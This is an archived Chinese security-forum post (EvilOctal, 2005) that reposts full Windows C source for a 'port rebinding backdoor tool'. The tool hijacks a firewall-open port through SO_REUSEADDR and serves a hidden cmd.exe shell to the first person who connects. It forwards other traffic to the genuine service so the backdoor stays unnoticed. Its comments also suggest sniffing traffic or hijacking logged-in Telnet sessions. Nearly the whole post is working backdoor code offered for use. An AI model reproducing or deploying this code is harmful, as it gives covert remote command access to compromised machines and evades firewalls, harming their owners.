邪恶八进制信息安全团队技术讨论组's Archiver

EvilOctal 2005-1-29 04:07

[转载]端口重绑定后门工具源代码

信息来源:dahubaobao

端口复用相关资料
[code]/*
***********************************************************
端口重绑定后门工具
原理:通过把端口重绑定到防火墙开放的端口实现穿越防火墙的功能
感谢:wineggdrop(还有一位不知道名字,本程序主干修改自他的代码)
用途:当防火墙BT到连反向连接到封闭时,可以尝试一下这个
留言:其实我也是脚本小子,我只是把两位大虾的代码合并在一齐而已
    了,自己写的不过10行。其实还有一个svchost.exe的功能是一样
    过我发现那个不好使,所以就写了这个。
***********************************************************
*/
#include "stdafx.h"
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#pragma comment(lib, "ws2_32.lib")

DWORD WINAPI ClientThread(LPVOID lpParam);//原端口转发
DWORD WINAPI ServerThread(LPVOID lpParam);//CMDSHELL线程,抄写自wineggdrop

unsigned int port=21;//重绑定端口
BOOL Connected;

//************抄写自wineggdrop的代码***************

unsigned int ReceiveMessageFromSocket(const SOCKET ClientSocket,char *Buffer,unsigned int BufferSize)
{
ZeroMemory(Buffer,BufferSize);      // Reset The Buffer

if (BufferSize < 2)      // Buffer Size Is Less Then 2
{
    return 0;      // Dump
}

unsigned int CharacterCount = 0;      

while(TRUE)
{
    if (CharacterCount >= BufferSize)      // The Characters Received Is Bigger Or Equal The Buffer Size
    {
      // Give The Buffer An Enter
      Buffer[BufferSize-2] = &#39;\r&#39;;
      Buffer[BufferSize-1] = &#39;\n&#39;;
      return CharacterCount;      // Return The Characters Received
    }

    if (recv(ClientSocket,Buffer+CharacterCount,1,0) == SOCKET_ERROR)      // Fail To Receive Data
    {
      return SOCKET_ERROR;      // Return Error
    }

    if (Buffer[CharacterCount] == &#39;\b&#39;)      // Back Space Detected
    {
      Buffer[CharacterCount] = &#39;\0&#39;;      // Skip It
      if (CharacterCount > 0)      // Characters Received Is Bigger Than 0
      {
         CharacterCount--;      // Decrease One Character
         Buffer[CharacterCount] = &#39;\0&#39;;
      }
      continue;      // Begin A New Loop
    }

    if (Buffer[CharacterCount++] == &#39;\n&#39;)      // Enter Is Detected
    {
      return CharacterCount;      // Return The Characters Received
    }
}
return 0;
}

BOOL SendSocket(const SOCKET ClientSocket,const char *Message)
{
return (send(ClientSocket,Message,strlen(Message),0)!=SOCKET_ERROR);
}

//***********抄写结束*******

int usage(char * appname)
{
   printf("%s 端口重绑定后门工具\n"
      "使用方法:%s [重绑定端口(可选,默认是80)] \n",appname,appname);
   exit(0);
}

int main(int argc, char* argv[])
{

WORD wVersionRequested;
DWORD ret;
WSADATA wsaData;
BOOL val;
SOCKADDR_IN saddr;
SOCKADDR_IN scaddr;
int err;
SOCKET s;
SOCKET sc;
int caddsize;
HANDLE mt;
DWORD tid;

Connected=FALSE;

if (argc!=1)
   port=atoi(argv[1]);

printf("[i]Startup.....\n");

wVersionRequested = MAKEWORD( 2, 2 );
err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 ) {
printf("[-]WSAStartup failed!\n");
return -1;
}
saddr.sin_family = AF_INET;

//截听虽然也可以将地址指定为INADDR_ANY,
//但是要不能影响正常应用情况下,
//应该指定具体的IP,留下127.0.0.1给正常的服务应用,
//然后利用这个地址进行转发,
//就可以不影响对方正常应用了
printf("[i]Bind.....\n");

//*********以下代码抄写自wineggdrop**********

char FAR name[255];
gethostname(name, 255);//获得主机名
struct hostent FAR * pHostent;      
pHostent = (struct hostent * )malloc(sizeof(struct hostent));
pHostent = gethostbyname(name);//获得IP
memcpy(&saddr.sin_addr.S_un.S_addr, pHostent->h_addr_list[0], pHostent->h_length); //复制IP

//**********抄写结束*************



saddr.sin_port = htons(port);
if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{
printf("[-]socket failed!\n");
return -1;
}
val = TRUE;

//********以下代码修改自......不知道是谁,反正不是我原创的*********

//SO_REUSEADDR选项就是可以实现端口重绑定的
if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
{
printf("[-]setsockopt failed!\n");
return -1;
}
//如果指定了SO_EXCLUSIVEADDRUSE,
//就不会绑定成功,返回无权限的错误代码;
//如果是想通过重利用端口达到隐藏的目的,
//就可以动态的测试当前已绑定的端口哪个可以成功,
//就说明具备这个漏洞,然后动态利用端口使得更隐蔽
if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
{
ret=GetLastError();
printf("[-]bind failed!\n");
return -1;
}

while(1)
{
caddsize = sizeof(scaddr);
//接受连接请求
printf("[+]Listening.....\n");
listen(s,5);
sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
printf("[+]Someone connect port %d\n",port);
if(sc!=INVALID_SOCKET)
{
if(Connected)
{
mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);//原端口转发
printf("[+]%d -> %d Thread Created!\n",port,port);
}
else
{
mt = CreateThread(NULL,0,ServerThread,(LPVOID)sc,0,&tid);//重定向线程
printf("[+] CMDShell Thread Created!\n");
Connected=TRUE;
}
if(mt==NULL)
{
printf("Thread Creat Failed!\n");
break;
}
}
CloseHandle(mt);
}
closesocket(s);
WSACleanup();
return 0;
}

DWORD WINAPI ClientThread(LPVOID lpParam)//原端口转发
{
SOCKET ss = (SOCKET)lpParam;
SOCKET sc;
char buf[4096];
SOCKADDR_IN saddr;
long num;
DWORD val;
DWORD ret;

//如果是隐藏端口应用的话,
//可以在此处加一些判断
//如果是自己的包,就可以进行一些特殊处理,
//不是的话通过127.0.0.1进行转发

saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
saddr.sin_port = htons(port);
if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{
printf("error!socket failed!\n");
return -1;
}
val = 100;
if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{
ret = GetLastError();
return -1;
}
if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{
ret = GetLastError();
return -1;
}
if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
{
printf("error!socket connect failed!\n");
closesocket(sc);
closesocket(ss);
return -1;
}
while(1)
{
//下面的代码主要是实现通过127。0。0。1
//这个地址把包转发到真正的应用上,
//并把应答的包再转发回去。
//如果是嗅探内容的话,
//可以再此处进行内容分析和记录
//如果是攻击如TELNET服务器,
//利用其高权限登陆用户的话,
//可以分析其登陆用户,
//然后利用发送特定的包以劫持的用户身份执行。
num = recv(ss,&(buf[0]),4096,0);
if(num>0)
send(sc,buf,num,0);
else if(num==0)
break;
num = recv(sc,buf,4096,0);
if(num>0)
send(ss,buf,num,0);
else if(num==0)
break;
}
closesocket(ss);
closesocket(sc);
return 0 ;
}

DWORD WINAPI ServerThread(LPVOID lpParam)//重定向线程
{
SOCKET ListenSocket = (SOCKET)lpParam;

//**************除上面一句是自己的,下面的都是wineggdrop的代码:)******

char ReceiveBuffer[MAX_PATH + 1];      // The Receive Buffer
char SendBuffer[1024 * 4];      // The Send Buffer

unsigned long OutputLength,InputLength;      // The Input And Output Length

// The Pipe And Some Other Sutff
HANDLE ClientReadPipe = NULL;      
HANDLE ClientWritePipe = NULL;
HANDLE CmdWritePipe = NULL;
HANDLE CmdReadPipe = NULL;

SECURITY_ATTRIBUTES sa            = {0};
STARTUPINFO      si            = {0};
PROCESS_INFORMATION pi            = {0};

ZeroMemory(ReceiveBuffer,sizeof(ReceiveBuffer));

if (GetSystemDirectory(ReceiveBuffer,MAX_PATH))      // Get System Directory
{
    strcat(ReceiveBuffer,"\\cmd.exe");      // Get The Cmd.exe Full Path
}
else      // Fail To Get System Directory
{
    SendSocket(ListenSocket,"Fail To Get System Diretory\r\n");      // Display Error Message
    return FALSE;      // Return
}

// Initize The Stuff
sa.nLength = sizeof(sa);
sa.bInheritHandle = TRUE;
sa.lpSecurityDescriptor = NULL;
memset(&pi,0,sizeof(pi));

if (!CreatePipe(&ClientReadPipe,&CmdWritePipe,&sa,0))      // Fail To Create Client Read Pipe
{
    SendSocket(ListenSocket,"Fail To Create Client Read Pipe\r\n");      // Display Error Message
    goto CleanUP;      // Leave
}

if (!CreatePipe(&CmdReadPipe,&ClientWritePipe,&sa,0))      // Fail To Create Cmd Read Pipe
{
    SendSocket(ListenSocket,"Fail To Create CMD Read Pipe\r\n");      // Display Error Message
    goto CleanUP;      // Leave
}

// Reset And Initize Stuff
memset((void *)&si,0,sizeof(si));
memset((void *)&pi,0,sizeof(pi));
si.cb = sizeof(si);
si.dwFlags    = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;

si.hStdInput = CmdReadPipe;      // Pass The CmdReadPipe To StdInput
si.hStdError = CmdWritePipe;      // Pass The CmdWritePipe To StdError
si.hStdOutput = CmdWritePipe;      // Pass The CmdWritePipe To StdOutput

if (!CreateProcess(ReceiveBuffer,NULL,NULL,NULL,1,0,NULL, NULL,&si,&pi))      // Fail To Create A Cmd Shell Process
{
    SendSocket(ListenSocket,"Fail To Create Process\r\n");      // Display Error Message
    goto CleanUP;      // Leave
}

while(TRUE)      // Shell Commincation Starts Here
{
    if (!PeekNamedPipe(ClientReadPipe,SendBuffer,sizeof(SendBuffer),&OutputLength,NULL,NULL))      // Fail To Get Data From The Pipe
    {
      SendSocket(ListenSocket,"Fail To Peek Name Pipe\r\n");      // Display Error Message
      break;      // Leave
    }
    if (OutputLength > 0)      // Get Data From The Pipe Successfully
    {
      ZeroMemory(SendBuffer,sizeof(SendBuffer));      // Reset The Send Buffer
      if (!ReadFile(ClientReadPipe,SendBuffer,OutputLength,&OutputLength,0))      //Fail To Read The Data
      {
         SendSocket(ListenSocket,"Fail To Read File\r\n");      // Display Error Message
         break;      // Leave
      }
      if (send(ListenSocket,SendBuffer,OutputLength,0) == SOCKET_ERROR)      // Fail To Send The Data
      {
         printf("Fail To Send Buffer\n");      // Display Error Message
         break;      // Leave
      }
    }
    else
    {
      ZeroMemory(ReceiveBuffer,sizeof(ReceiveBuffer));      // Reset Receive Buffer
      InputLength = ReceiveMessageFromSocket(ListenSocket, ReceiveBuffer, sizeof(ReceiveBuffer));      // Receive Input From Client
      if (InputLength == SOCKET_ERROR)      // Fail To Receive Data
      {
         printf("Fail To Receive Buffer\n");      // Display Error Message
         break;      // Leave
      }

      if (!WriteFile(ClientWritePipe,ReceiveBuffer,InputLength,&InputLength,0))      // Fail To Write The Received Data To The Pipe
      {
         printf("Fail To Write File\n");      // Display Error Message
         break;      // Leave
      }

      // Leave The Shell
      if (strnicmp((char*)ReceiveBuffer, "exit\r\n", 6) == 0 || strnicmp((char*)ReceiveBuffer, "exit\r", 5)==0 || strnicmp((char*)ReceiveBuffer, "exit\n", 5)==0)
        break;
    }
}

// Clean All Resource Allocated
CleanUP:
      if (CmdReadPipe != NULL)
        CloseHandle(CmdReadPipe);
      if (CmdWritePipe != NULL)
        CloseHandle(CmdWritePipe);
      if (ClientReadPipe != NULL)
        CloseHandle(ClientReadPipe);
      if (ClientWritePipe)
        CloseHandle(ClientWritePipe);


   Connected=FALSE;
   
   return 0;
} [/code]

页: [1]
© 1999-2008 EvilOctal Security Team